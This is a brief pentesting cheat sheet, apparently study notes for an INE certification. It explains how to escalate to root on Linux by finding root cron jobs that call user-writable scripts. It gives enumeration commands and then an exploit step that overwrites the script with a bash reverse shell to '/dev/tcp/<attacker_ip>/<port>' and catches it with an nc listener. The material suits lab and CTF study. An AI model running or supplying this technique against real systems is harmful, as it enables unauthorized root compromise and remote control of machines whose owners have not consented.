Skip to content
Home

Linux privilege escalation via misconfigured cron jobs

Find cron jobs running as root that reference writable files, then inject a reverse shell or payload into those files.

bash·1 min read··INE Certification

If a cron job runs as root and calls a script or file that the current user can write to, you can replace that file’s contents with your own payloads.

Find cron jobs

crontab -l  # current user's cron jobs
cat /etc/crontab    # system-wide cron schedule
ls -la /etc/cron.*/ # scripts in cron.d, cron.daily, cron.hourly, etc.

Find where a particular file is used

# If you see an interesting file in a cron entry, find everywhere it's called
grep -rnw /usr -e "/home/user/script.sh"
grep -rnw /etc -e "/home/user/script.sh"

Exploit: overwrite the file the cron job calls

# Check if the called file is writable by your current user
ls -la /home/user/script.sh

# Replace its contents with a reverse shell
echo "bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1" > /home/user/script.sh

# Set up a listener and wait for the cron job to fire
nc -nvlp <port>
  • In lab/CTF environments cron jobs typically run every minute so the wait is short. In a real engagement, check the schedule first (cat /etc/crontab) to know how long to wait.
  • The file being called doesn’t have to be a shell script — if a cron job passes a file as an argument to another program (e.g. python /home/user/task.py) and that file is writable, the same replacement approach applies.